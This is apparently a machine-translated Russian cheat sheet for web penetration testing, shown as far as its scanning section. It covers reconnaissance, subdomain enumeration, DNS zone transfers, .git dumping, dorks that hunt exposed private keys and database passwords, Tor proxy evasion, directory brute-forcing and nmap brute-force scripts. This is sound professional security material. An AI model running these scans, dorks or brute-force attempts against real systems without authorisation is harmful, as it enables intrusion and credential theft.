Это скорее контрольный список для себя. Может содержать полезные советы и хитрости.
Все было протестировано на Kali Linux V2023.1 (64-битный).
Для получения помощи с любым из инструментов напишите <tool_name> [-h | -hh | --help] или man <tool_name> .
Иногда -h может быть принят за хост или какой -либо другой вариант. Если это так, используйте вместо этого -hh или --help или прочитайте руководство с man .
Некоторые инструменты выполняют аналогичные задачи, но получают немного разные результаты. Запустите все, что можете. Многие инструменты также дополняют друг друга!
Имейте в виду, когда не указано в URL -адресе не указан номер порта, то есть, если вы указали только somesite.com , некоторые инструменты по умолчанию будут по умолчанию в протокол HTTP и порт 80.
Если вы еще этого не сделали, прочитайте руководство по тестированию веб -безопасности OWASP. Контрольный список можно загрузить здесь.
Настоятельно рекомендую прочитать общие проблемы безопасности в финансово ориентированной на Интернет.
Веб -сайты, которые вы должны использовать при написании отчета:
Мои другие чит -листы:
0. Установить инструменты и настройка
1. Разведка
2. Сканирование/перечисление
3. Уязвимость задействования/эксплуатации
4. POST EXPUTICTION
5. Cracking Password
6. Социальная инженерия
7. Разное
Большинство инструментов могут быть установлены с помощью диспетчера пакетов Linux:
apt-get update && apt-get -y install sometoolДля получения дополнительной информации посетите kali.org/tools.
Некоторые инструменты Python должны быть загружены и установлены вручную:
python3 setup.py install
Или установлено из PYPI:
pip3 install sometool
python3 -m pip install sometool
Некоторые инструменты Golang должны быть загружены и созданы вручную:
go build sometool.go
Или установлено напрямую:
go install -v github.com/user/sometool@latest
Для получения дополнительной информации посетите pkg.go.dev.
Чтобы настроить Golang, запустите:
apt-get -y install golang
echo " export GOROOT=/usr/lib/go " >> ~ /.zshrc
echo " export GOPATH= $HOME /go " >> ~ /.zshrc
echo " export PATH= $GOPATH /bin: $GOROOT /bin: $PATH " >> ~ /.zshrc
source ~ /.zshrc Если вы используете другую консоль, вам может потребоваться написать в ~/.bashrc и т. Д.
Некоторые инструменты, которые находятся в форме двоичных или сценариев оболочки, могут быть перенесены в /usr/bin/ каталог для простоты использования:
mv sometool.sh /usr/bin/sometool && chmod +x /usr/bin/sometoolНекоторые инструменты Java должны быть загружены и управлять вручную с Java (JRE):
java -jar sometool.jar
Список полезных API для интеграции в ваши инструменты:
Загрузите список пользовательских агентов, безопасных для ботов, требует ключа API Scrapeops.io:
python3 - c 'import json, requests; open("./user_agents.txt", "w").write((" n ").join(requests.get("http://headers.scrapeops.io/v1/user-agents?api_key=SCRAPEOPS_API_KEY&num_results=100", verify = False).json()["result"]))'Загрузите список доверенных DNS Resolroders или вручную от Trickest/Resolvers:
python3 - c 'import json, requests; open("./resolvers.txt", "w").write(requests.get("https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt", verify = False).text)'Если Google или любая другая поисковая система или обслуживание блокируют ваш инструмент, используйте проксиханы-NG и Tor, чтобы обойти ограничение.
Установка:
apt-get update && apt-get -y install proxychains4 tor torbrowser-launcher Сделайте следующие изменения в /etc/proxychains4.conf :
round_robin
chain_len = 1
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 9050
Обязательно прокомментируйте любой тип цепочки, кроме round_robin - например, комментарий strict_chain в # strict_chain .
Начал Tor:
service tor start
Затем запустите любой инструмент, который вы хотите:
proxychains4 sometool
Используя только Tor, скорее всего, не будет достаточно, вам нужно будет добавить больше прокси (1) (2) в /etc/proxychains4.conf ; Тем не менее, трудно найти бесплатные и стабильные прокси, которые еще не включены в черный список.
Загрузите список бесплатных прокси:
curl -s ' https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc ' -H ' Referer: https://proxylist.geonode.com/ ' | jq -r ' .data[] | "(.protocols[]) (.ip) (.port)" ' > proxychains.txt
curl -s ' https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc ' -H ' Referer: https://proxylist.geonode.com/ ' | jq -r ' .data[] | "(.protocols[])://(.ip):(.port)" ' > proxies.txtИмейте в виду, что некоторые [Legacy] веб -сайты могут быть доступны только через конкретные веб -браузеры, такие как Internet Explorer или Edge.
Имейте в виду, что на некоторых веб -сайтах могут отсутствовать страница индекса и не перенаправить вас на настоящую домашнюю страницу. Если это так, постарайтесь вручную угадать полный путь к домашней странице, используйте машину для отсека или GAU, чтобы найти старые URL -адреса, или попробовать Fecrobuzing с помощью Feroxbuster или Dirbuster.
Поиск в Интернете по умолчанию / предварительно определенным путям и файлам для конкретного веб-приложения. Используйте собранную информацию в сочетании с Google Dorks, Chad и HTTPX, чтобы найти одинаковые пути и файлы в разных доменах. Для не столь распространенных веб-приложений попробуйте найти и просмотреть исходный код для по умолчанию / предварительно определенные пути и файлы.
Вы можете найти исходный код приложения на GitHub, Gitlab, SearchCode и т. Д.
Поиск исходного кода приложения для клавиш API, учетных данных, секретов, токенов, хостов и т. Д. С помощью трюфельхог и скребка файлов. Не забудьте проверить старый Github Commits на предмет старых, но все еще активных ключей API, учетных данных, секретов, токенов и т. Д.
Осмотрите веб -консоль на предмет возможных ошибок. Осмотрите исходный код приложения на наличие возможных комментариев.
Не забудьте получить доступ к веб -серверу через IP -адрес, потому что вы можете найти страницу приветствия по умолчанию сервера или какого -либо другого контента.
Соберите информацию:
dmitry -wines -o dmitry_results.txt somedomain.com
Устарел. Поиск NetCraft не работает.
Соберите информацию:
theHarvester -f theharvester_results.json -b baidu,bing,bingapi,certspotter,crtsh,dnsdumpster,duckduckgo,hackertarget,otx,threatminer,urlscan,yahoo -l 500 -d somedomain.com
Этот инструмент довольно часто меняет поисковые системы, так как некоторые из них могут не работать на этом чтении.
Иногда выходной файл может по умолчанию /usr/lib/python3/dist-packages/theHarvester/ каталог.
Извлеките имена хоста из результатов:
jq ' .hosts[] ' theharvester_results.json | sort -uf | tee -a subdomains.txtИзвлеките IP из результатов:
jq ' .ips[] ' theharvester_results.json | sort -uf | tee -a ips.txtИзвлеките электронные письма из результатов:
jq ' .emails[] ' theharvester_results.json | sort -uf | tee -a emails.txtИзвлеките электронные письма из результатов:
jq ' .asns[] ' theharvester_results.json | sort -uf | tee -a asns.txtНайдите метаданные и скрытую информацию в файлах.
Протестировано на Windows 10 Enterprise OS (64-битная).
Минимальные требования:
GUI очень интуитивно понятный.
Установка:
go install -v github.com/projectdiscovery/uncover/cmd/uncover@latest
Установите свои клавиши API в /root/.config/uncover/provider-config.yaml uncover/provider-config.yaml следующим образом:
shodan:
- SHODAN_API_KEY
censys:
- CENSYS_API_ID:CENSYS_API_SECRET
Соберите информацию, используя Shodan, Censys и многое другое:
uncover -json -o uncover_results.json -l 100 -e shodan,censys -q somedomain.com
jq -r ' .host // empty ' uncover_results.json | sort -uf | tee -a subdomains.txt
jq -r ' .ip // empty ' uncover_results.json | sort -uf | tee -a ips.txtСделать: больше Shodan и Censys Dorks.
Соберите субдомены, используя OSINT:
assetfinder --subs-only somedomain.com | grep -v ' * ' | tee assetfinder_results.txtСоберите субдомены, используя OSINT:
sublist3r -o sublister_results.txt -d somedomain.com
Установка:
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
Соберите субдомены, используя OSINT:
subfinder -t 10 -timeout 3 -nW -o subfinder_results.txt -rL resolvers.txt -d somedomain.com
Subfinder имеет встроенные DNS Resolroders.
Установите свои клавиши API в файле /root/.config/subfinder/config.yaml subfinder/config.yaml следующим образом:
shodan:
- SHODAN_API_KEY
censys:
- CENSYS_API_ID:CENSYS_API_SECRET
github:
- GITHUB_API_KEY
virustotal:
- VIRUSTOTAL_API_KEY
Соберите субдомены, используя OSINT:
amass enum -o amass_results.txt -trf resolvers.txt -d somedomain.com
Amass имеет встроенные DNS Resolroders.
Чтобы найти ASN от IPS и CIDR из ASN, используйте WHOIS. На сканировании ниже ASN и CIDR займет много времени, чтобы закончить. Результаты могут быть не все в вашей области, разрешенной клиентом!
Соберите субдомены от ASN:
amass intel -o amass_asn_results.txt -trf resolvers.txt -asn 13337
Соберите субдомены от CIDR:
amass intel -o amass_cidr_results.txt -trf resolvers.txt -cidr 192.168.8.0/24
Серверы имен извлечения:
dig +noall +answer -t NS somedomain.com
Серверы обмена избрать:
dig +noall +answer -t MX somedomain.com
Ответьте на сервер доменных имен:
dig +noall +answer -t ANY somedomain.com @ns.somedomain.com
Принесите файл зоны с сервера доменных имен:
dig +noall +answer -t AXFR somedomain.com @ns.somedomain.com
Обратный IP поиск:
dig +noall +answer -x 192.168.8.5
[Поглощение субдомена] Проверьте, мертвы ли домены/субдомены, ищите коды NXDOMAIN , SERVFAIL или REFUSED :
for subdomain in $( cat subdomains.txt ) ; do res= $( dig " ${subdomain} " -t A +noall +comments +timeout=3 | grep -Po ' (?<=status: )[^s]+(?<!,) ' ) ; echo " ${subdomain} | ${res} " ; done | sort -uf | tee -a subdomains_to_status.txt
grep -v ' NOERROR ' subdomains_to_status.txt | grep -Po ' [^s]+(?= |) ' | sort -uf | tee -a subdomains_errors.txt
grep ' NOERROR ' subdomains_to_status.txt | grep -Po ' [^s]+(?= |) ' | sort -uf | tee -a subdomains_errors_none.txtСм. Инструмент хоста для следующего шага.
Ответьте на доменные серверы:
fierce -file fierce_std_results.txt --domain somedomain.com
fierce -file fierce_brt_results.txt --subdomain-file subdomains-top1mil.txt --domain somedomain.com
По умолчанию Fierce будет выполнять словарь со своим встроенным списком Words.
Ответьте на доменные серверы:
dnsrecon -t std --json /root/Desktop/dnsrecon_std_results.json -d somedomain.com
dnsrecon -t axfr --json /root/Desktop/dnsrecon_axfr_results.json -d somedomain.com
dnsrecon -v --iw -f --lifetime 3 --threads 50 -t brt --json /root/Desktop/dnsrecon_brt_results.json -D subdomains-top1mil.txt -d somedomain.com
DNSRecon может выполнить атаку словаря с помощью пользовательского списка Words, но обязательно укажите полный путь к слову; В противном случае Dnsrecon может не распознать это.
Обязательно укажите полный путь к выходному файлу; В противном случае это будет по умолчанию /usr/share/dnsrecon/ directory, то есть в корневом каталоге.
Извлеките имена хоста из результатов стандартной/зоны переноса/грубой силы:
jq -r ' .[] | select(.type | test("^A$|^CNAME$|^MX$|^NS$|^PTR$")) | .exchange // empty, .name // empty, .target // empty ' dnsrecon_std_results.json | sort -uf | tee -a subdomains.txtИзвлеките IP из результатов стандартной/зоны переноса/грубой силы:
jq -r ' .[] | select(.type | test("^A$|^CNAME$|^MX$|^NS$|^PTR$")) | .address // empty ' dnsrecon_std_results.json | sort -uf | tee -a ips.txt[Поглощение субдомена] Извлеките канонические имена из результатов стандартной/зоны переноса/грубой силы:
jq -r ' .[] | select(.type | test("^CNAME$")).target ' dnsrecon_std_results.json | sort -uf | tee -a cnames.txtОбратный IP поиск:
dnsrecon --json /root/Desktop/dnsrecon_reverse_results.json -s -r 192.168.8.0/24
Извлеките виртуальные хосты из результатов обратного поиска IP:
jq -r ' .[] | if type == "array" then .[].name else empty end ' dnsrecon_ptr_results.json | sort -uf | tee -a subdomains.txtНекоторые серверы DNS не будут реагировать на DNS -Quieries типа «любое», используйте тип «A» вместо этого.
Соберите IPS для данных доменов/субдоменов (попросите A ):
for subdomain in $( cat subdomains.txt ) ; do res= $( host -t A " ${subdomain} " | grep -Po ' (?<=has address )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a subdomains_to_ips.txt
grep -Po ' (?<=| )[^s]+ ' subdomains_to_ips.txt | sort -uf | tee -a ips.txtПроверьте, живы ли домены/субдомены с HTTPX. Проверьте, живы ли IP с NMAP, выполняющим развертку Ping.
Соберите виртуальные хосты для данных IPS (попросите записи PTR ):
for ip in $( cat ips.txt ) ; do res= $( host -t PTR " ${ip} " | grep -Po ' (?<=domain name pointer )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_subdomains.txt
grep -Po ' (?<=| )[^s]+ ' ips_to_subdomains.txt | sort -uf | tee -a subdomains.txt [Поглощение субдомена] Соберите канонические имена для заданных доменов/субдоменов (спросите записи CNAME ):
for subdomain in $( cat subdomains_errors.txt ) ; do res= $( host -t CNAMES " ${subdomain} " | grep -Po ' (?<=is an alias for )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a subdomains_errors_to_cnames.txt
grep -Po ' (?<=| )[^s]+ ' subdomains_errors_to_cnames.txt | sort -uf | tee -a subdomain_takeover.txtСоберите ASN с IPS:
for ip in $( cat ips.txt ) ; do res= $( whois -h whois.cymru.com " ${ip} " | grep -Poi ' ^d+ ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_asns.txt
grep -Po ' (?<=| )(?(?! |).)+ ' ips_to_asns.txt | sort -uf | tee -a asns.txtСоберите CIDR из ASNS:
for asn in $( cat asns.txt ) ; do res= $( whois -h whois.radb.net -i origin " AS ${asn} " | grep -Poi ' (?<=route:)[s]+K.+ ' ) ; if [[ ! -z $res ]] ; then echo " AS ${asn} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a asns_to_cidrs.txt
grep -Po ' (?<=| )(?(?! |).)+ ' asns_to_cidrs.txt | sort -uf | tee -a cidrs.txt[Поглощение субдомена] Собрать названия организаций от IPS:
for ip in $( cat ips.txt ) ; do res= $( whois -h whois.arin.net " ${ip} " | grep -Po ' (?<=OrgName:)[s]+K.+ ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_organization_names.txt
grep -Po ' (?<=| )(?(?! |).)+ ' ips_to_organization_names.txt | sort -uf | tee -a organization_names.txtПроверьте, принадлежит ли какой -либо IP организации GitHub, прочитайте больше о поглощении GitHub в этой статье H1.
Установка:
go install -v github.com/projectdiscovery/asnmap/cmd/asnmap@latest
Получить ключ API ProjectDiscovery от Cloud.projectDiscovery.io и запустить:
asnmap -auth
Соберите CIDR из ASN:
asnmap -r resolvers.txt -a asn | tee -a asnmap_cidr_results.txtСоберите CIDR от идентификатора организации:
asnmap -r resolvers.txt -org id | tee -a asnmap_cidr_results.txtПроверьте, живы ли домены/субдомены, карта живые хост:
httpx-toolkit -o httpx_results.txt -l subdomains_errors_none.txt
httpx-toolkit -random-agent -json -o httpx_results.json -threads 100 -timeout 3 -l subdomains_errors_none.txt -ports 80,443,8008,8080,8403,8443,9008,9080,9403,9443Отфильтровать домены/субдомены из результатов JSON:
jq -r ' select(."status-code" | tostring | test("^2|^3|^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long.txt
jq -r ' select(."status-code" | tostring | test("^2")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_2xx.txt
jq -r ' select(."status-code" | tostring | test("^2|^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_2xx_4xx.txt
jq -r ' select(."status-code" | tostring | test("^3")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_3xx.txt
jq -r ' select(."status-code" | tostring | test("^401$")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_401.txt
jq -r ' select(."status-code" | tostring | test("^403$")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_403.txt
jq -r ' select(."status-code" | tostring | test("^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_4xx.txt
jq -r ' select(."status-code" | tostring | test("^5")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_5xx.txt
grep -Po ' http://[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_long_http.txt
grep -Po ' https://[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_long_https.txt
grep -Po ' (?<=://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short.txt
grep -Po ' (?<=http://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short_http.txt
grep -Po ' (?<=https://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short_https.txt
grep -Po ' (?<=://)[^s:]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live.txtПроверьте, существует ли каталог на веб -сервере:
httpx-toolkit -status-code -content-length -o httpx_results.txt -l subdomains_live_long.txt -path /.gitСоберите URL -адреса с машины Wayback:
getallurls somedomain.com | tee gau_results.txt
for subdomain in $( cat subdomains_live.txt ) ; do getallurls " ${subdomain} " ; done | sort -uf | tee gau_results.txtОтфильтровать URL -адреса из результатов:
httpx-toolkit -random-agent -json -o httpx_gau_results.json -threads 100 -timeout 3 -r resolvers.txt -l gau_results.txt
jq -r ' select(."status-code" | tostring | test("^2|^3|^4")).url ' httpx_gau_results.json | sort -uf | tee gau_2xx_results.txt
jq -r ' select(."status-code" | tostring | test("^3")).url ' httpx_gau_results.json | sort -uf | tee gau_3xx_results.txt
jq -r ' select(."status-code" | tostring | test("^401$")).url ' httpx_gau_results.json | sort -uf | tee gau_401_results.txt
jq -r ' select(."status-code" | tostring | test("^403$")).url ' httpx_gau_results.json | sort -uf | tee gau_403_results.txt
jq -r ' select(."status-code" | tostring | test("^4")).url ' httpx_gau_results.json | sort -uf | tee gau_4xx_results.txtУстановка:
go install -v github.com/utkusen/urlhunter@latestСоберите URL -адреса от услуг по сокращению URL:
urlhunter -o urlhunter_results.txt -date latest -keywords keywords.txt
Базы данных Google Dork:
Проверьте список файлов /.well-known/ здесь.
Google Dorking не будет показывать каталоги, ни файлы, которые запрещены в robots.txt , чтобы проверить такие каталоги и файлы, использующие HTTPX.
Приложение site:www.somedomain.com чтобы ограничить область вашего сфера указанному домену/субдомену. Приложение site:*.somedomain.com , чтобы ограничить свой объем всех субдоменов. Приложение site:*.somedomain.com -www , чтобы исключить www субдомен из результатов.
Простые Google Dorks:
inurl:/robots.txt intext:disallow ext:txt
inurl:/.well-known/security.txt ext:txt
inurl:/info.php intext:"php version" ext:php
intitle:"index of /" intext:"parent directory"
intitle:"index of /.git" intext:"parent directory"
inurl:/gitweb.cgi
intitle:"Dashboard [Jenkins]"
(intext:"mysql database" AND intext:db_password) ext:txt
intext:-----BEGIN PGP PRIVATE KEY BLOCK----- (ext:pem OR ext:key OR ext:txt)
Найдите и загрузите файлы с помощью Google Dork:
mkdir chad_downloads
chad -nsos -o chad_downloads_results.json -dir chad_downloads -tr 100 -q "ext:txt OR ext:pdf OR ext:doc OR ext:docx OR ext:xls OR ext:xlsx" -s *.somedomain.com
Извлеките авторов (и больше) из файлов:
apt-get -y install libimage-exiftool-perl
exiftool -S chad_results | grep -Po ' (?<=Author: ).+ ' | sort -uf | tee -a people.txtНайти списки каталогов, используя Google Dork:
chad -nsos chad_directory_listings_results.json -tr 100 -q 'intitle:"index of /" intext:"parent directory"' -s *.somedomain.com
Подробнее о моем проекте в Иване-Синсеке/Чаде.
Загрузите последнюю версию от Github и проверьте, как установить инструмент.
Получите информацию о номере телефона:
phoneinfoga scan -n +1111111111
Получите информацию о номере телефона, взаимодействующую с пользовательским интерфейсом:
phoneinfoga serve
Перейдите к http://localhost:5000 с предпочтительным веб -браузером.
Попробуйте реконструировать репозиторий GitHub, т. Е. Получить исходный код, основанный на истории коммита из общественного /.git Directory:
git-dumper https://somesite.com/.git git_dumper_results
Этот инструмент, возможно, не сможет реконструировать весь репозиторий каждый раз, но он все еще может выявить некоторую конфиденциальную информацию.
Некоторые дополнительные команды git , чтобы попробовать в каталоге клонированного /.git
git status
git log
git checkout -- .
git restore .
Используйте Google Dorking и Chad, чтобы найти больше целей.
Установка:
git clone https://github.com/trufflesecurity/trufflehog && cd trufflehog
go installПоиск конфиденциальных ключей внутри одного репозитория или всей организации на GitHub:
trufflehog git https://github.com/trufflesecurity/test_keys --only-verified --json
trufflehog github --org=trufflesecurity --only-verified --json
Поиск конфиденциальных ключей внутри файлов и каталогов:
trufflehog filesystem somefile_1.txt somefile_2.txt somedir1 somedir2
Подробнее о проекте на тройнике/трюфе.
Сделать: закончить.
Подробнее о проекте в Иване-Синсеке/Файл-Скрепе.
Установка:
go install -v github.com/projectdiscovery/katana/cmd/katana@latest
Ползовать веб -сайт:
katana -timeout 3 -retry 1 -c 30 -o katana_results.txt -ps -jc -iqp -d 1 -u https://somesite.com/home
katana -timeout 3 -retry 1 -c 30 -o katana_results.txt -ps -jc -iqp -d 1 -u subdomains_live_long_2xx.txt
Заполните веб -сайт, загрузите и украшите [Minified] файлы JavaScript:
scrapy-scraper -cr 30 -a random -o scrapy_scraper_results.txt -p -r 1 -dir somedir -u https://somesite.com/home
scrapy-scraper -cr 30 -a random -o scrapy_scraper_results.txt -p -r 1 -dir somedir -u subdomains_live_long_2xx.txt
Если вы не получите результатов при использовании безголового браузера Playwright, попробуйте обновить его:
pip3 install --upgrade playwright
playwright install chromium
Подробнее о моем проекте в Иване-Синсеке/Скрейпе-Скрепе.
Соскребайте файлы JavaScript, используя Trufflehog и Screaper.
Не забывайте, что ОС GNU/Linux имеет файловую систему, получающую корпус, поэтому обязательно используйте правильные списки слов.
Если вы не получаете никаких хитов во время грубых каталогов принуждения, постарайтесь разобраться в файлах силы, указав расширения файлов.
Приведенные ниже инструменты поддерживают рекурсивный каталог и поиск файлов. Кроме того, они могут занять много времени, чтобы закончить в зависимости от использованных настройки и списка слов.

Рисунок 1 - Дирбастер
Все списки слов Dirbuster расположены по адресу /usr/share/dirbuster/wordlists/ каталог.
Каталоги грубой силы на веб -сервере:
cat subdomains_live_long.txt | feroxbuster --stdin -k -n --auto-bail --random-agent -t 50 -T 3 --json -o feroxbuster_results.txt -s 200,301,302,401,403 -w directory-list-lowercase-2.3-medium.txt
Этот инструмент быстрее, чем Dirbuster.
Отфильтровать каталоги из результатов:
jq -r ' select(.status | tostring | test("^2")).url ' feroxbuster_results.json | sort -uf | tee -a directories_2xx.txt
jq -r ' select(.status | tostring | test("^2|^4")).url ' feroxbuster_results.json | sort -uf | tee -a directories_2xx_4xx.txt
jq -r ' select(.status | tostring | test("^3")).url ' feroxbuster_results.json | sort -uf | tee -a directories_3xx.txt
jq -r ' select(.status | tostring | test("^401$")).url ' feroxbuster_results.json | sort -uf | tee -a directories_401.txt
jq -r ' select(.status | tostring | test("^403$")).url ' feroxbuster_results.json | sort -uf | tee -a directories_403.txt
jq -r ' select(.status | tostring | test("^4")).url ' feroxbuster_results.json | sort -uf | tee -a directories_4xx.txt
jq -r ' select(.status | tostring | test("^5")).url ' feroxbuster_results.json | sort -uf | tee -a directories_5xx.txt| Вариант | Описание |
|---|---|
| -U | Целевой URL (требуется, если не используется [--stdin |--resume-from]) |
| -Стдин | Читать URL (ы) из Stdin |
| -a/-a | Устанавливает пользовательский агент (по умолчанию: feroxbuster / xxx) / Используйте случайный пользовательский агент |
| -x | Расширение файлов (ы) для поиска (например: -x Php -x Pdf, JS) |
| -М | Какой метод (ы) запроса HTTP должен быть отправлен (по умолчанию: get) |
| --данные | Тело запроса; можно прочитать данные из файла, если ввод начинается с @(ex: @post.bin) |
| -ЧАС | Укажите заголовки http, которые будут использоваться в каждом запросе (например: -h Заголовок: val -h 'Stuff: вещи') |
| -б | Укажите HTTP -файлы cookie, которые будут использоваться в каждом запросе (например: -B Stuff = вещи) |
| -Q | Параметры запроса запроса (например: -q token = worm |
| -f | Приложение / к URL -адресу каждого запроса |
| -с | Коды статуса включить (список разрешений) (дефолт: 200 204 301,302 307,308 401 403 405) |
| -T | Количество секунд до времени запроса клиента (по умолчанию: 7) |
| -K | Отключает проверку сертификата TLS для клиента |
| -t | Количество одновременных потоков (по умолчанию: 50) |
| -н | Не сканируйте рекурсивно |
| -W | Путь к словам |
| -Ауто-зал | Автоматически прекращает сканирование, когда возникает чрезмерное количество ошибок |
| -Б | Автоматическое запрос вероятных расширений резервного копирования для «найденных» URL -адресов (по умолчанию: ~, .bak, .bak2, .old, .1) |
| -q | Скрыть панели прогресса и баннер (хорошо для Windows Tmux с уведомлениями) |
| -О | Выходной файл для написания результатов (используйте w/ -джсон для записей JSON) |
Загрузите последнюю версию от Github. Посмотрите, как установить инструмент.
Поиск веб -сервера для конфиденциальных файлов:
snallygaster --nowww somesite.com | tee snallygaster_results.txt
for subdomain in $( cat subdomains_live_short_http.txt ) ; do snallygaster --nohttps --nowww " ${subdomain} " ; done | tee snallygaster_http_results.txt
for subdomain in $( cat subdomains_live_short_https.txt ) ; do snallygaster --nohttp --nowww " ${subdomain} " ; done | tee snallygaster_https_results.txtСкачать:
git clone https://github.com/irsdl/IIS-ShortName-Scanner && cd IIS-ShortName-Scanner/releaseПоиск на сервере IIS для файлов и каталогов:
java -jar iis_shortname_scanner.jar 2 30 https://somesite.com
Определите веб -сайт:
whatweb -v somesite.com
Проверьте все записи robots.txt :
parsero -sb -u somesite.com
Возьмите скриншоты с сайтов:
eyewitness --no-prompt --no-dns --timeout 3 --threads 5 -d eyewitness_results -f subdomains_live_long.txt
Чтобы проверить скриншоты, перейдите к каталогу eyewitness_results/screens .
Вы можете найти rockyou.txt inside /usr/share/wordlists/ каталог или внутренние селектисты - полезная коллекция нескольких типов списков слов для оценки безопасности.
Установите Seclists (коллекция будет храниться по адресу /usr/share/seclists/ directory):
apt-get update && apt-get install seclistsМой вклад в Seclists: Danielmiessler/Seclists/Tree/Master/Fuzzing/Sumums
Еще одна популярная коллекция слов:
Имейте в виду, что веб -приложения или услуги могут быть размещены в других портах, помимо 80 (HTTP) и 443 (HTTPS), например, они могут быть размещены на порту 8443 (HTTPS).
Имейте в виду, что на портах 80 (http) и 443 (https) веб -сервер может размещать различные веб -приложения или услуги. Используйте NCAT или Telnet для захвата баннеров.
Имейте в виду, что на разных путях URL веб -сервер может размещать различные веб -приложения или услуги, например, somesite.com/app_one/ и somesite.com/app_two/ .
При сканировании на наличие уязвимостей или запуска других интенсивных сканирований периодически проверяйте веб -приложение или услугу, если оно разбито, чтобы вы могли предупредить своего клиента как можно скорее; Или в случае, если вы получили Rate Limited с помощью брандмауэра веб -приложения (WAF) или какого -либо другого продукта безопасности, чтобы вы могли приостановить свои сканирования, потому что все ваши последующие запросы будут заблокированы, и ваши результаты не будут завершены.
Если веб -приложение или служба, все внезапно останавливается, попробуйте получить доступ к веб -приложению или службе, используя ваши мобильные данные, то есть, используя другой IP. Возможно, что ваш текущий IP был временно заблокирован.
Отправьте сообщение по электронной почте по несуществующему адресу в домене Target, оно часто выявляет полезную информацию о внутренней сети через уведомление о невозмутимости (NDN).
Получите бесплатное сообщество Nessus, и если вы можете себе это позволить, получите Burp Suite Professional или Caido.
Для лучших результатов используйте IPS вместо доменных имен.
Ping Sweep, Map Live Hoss:
nmap -sn -oG nmap_ping_sweep_results.txt 192.168.8.0/24
nmap -sn -oG nmap_ping_sweep_results.txt -iL cidrs.txt
Некоторые веб -серверы не будут отвечать на запросы Ping (ICMP), поэтому отображение живых хостов не будет точным.
Извлеките живых хозяев из результатов:
grep -Po ' (?<=Host: )[^s]+ ' nmap_ping_sweep_results.txt | sort -uf | tee -a ips_live.txtСканирование TCP, все порты:
nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- 192.168.8.0/24
nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- -iL cidrs.txt
Автоматизируйте сканирование TCP:
mkdir nmap_tcp_results
for ip in $( cat ips_live.txt ) ; do nmap -nv -sS -sV -sC -Pn -oN " nmap_tcp_results/nmap_tcp_results_ ${ip // . / _} .txt " -p- " ${ip} " ; doneUDP сканирование, только важные порты:
nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 192.168.8.0/24
nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 -iL cidrs.txt
Автоматизировать сканирование UDP:
mkdir nmap_udp_results
for ip in $( cat ips_live.txt ) ; do nmap -nv -sU -sV -sC -Pn -oN " nmap_udp_results/nmap_udp_results_ ${ip // . / _} .txt " -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 " ${subdomain} " ; done| Вариант | Описание |
|---|---|
| -сн | Сканирование PING - отключить сканирование порта |
| -Пн | Обратитесь ко всем хозяевам как онлайн - Skip Host Discovery |
| -n/-r | Никогда не выполняйте разрешение DNS/всегда разрешение (по умолчанию: иногда) |
| -SS/ST/SA | TCP syn/connect ()/ack |
| -Су | UDP сканирование |
| -p/-p- | Только сканировать указанные порты/сканирование всех портов |
| -Top-Ports | Сканировать наиболее распространенные порты |
| -св | Откройте порты зонда, чтобы определить информацию о службе/версии |
| -О | Включить обнаружение ОС |
| -с | То же самое, что - -script = по умолчанию |
| -Скрипт | Сканирование скрипта (требуется время, чтобы закончить) |
| -Скрипт-Арги | Предоставить аргументы для сценариев |
| -Скрипт-Хельп | Показать помощь о сценариях |
| -on/-ox/-og | Выходное сканирование в нормальном, XML и Grepable Format |
| -В | Увеличить уровень сложности (использование -VV или более для большего эффекта) |
| --причина | Отображать причину, по которой порт находится в определенном состоянии |
| -А | Включить обнаружение ОС, обнаружение версий, сканирование сценариев и Traceroute |
Все сценарии NMAP расположены по адресу /usr/share/nmap/scripts/ directory. Узнайте больше о сценариях здесь.
Примеры NSE:
nmap -nv --script='mysql-brute' --script-args='userdb="users.txt", passdb="rockyou.txt"' 192.168.8.5 -p 3306
nmap -nv --script='dns-brute' --script-args='dns-brute.domain="somedomain.com", dns-brute.hostlist="subdomains-top1mil.txt"'
nmap -nv --script='ssl-heartbleed' -iL cidrs.txt
Вы можете найти rockyou.txt и subdomains-top1mil.txt слов в списках.
Я предпочитаю использовать ядра для сканирования уязвимости.
Установка:
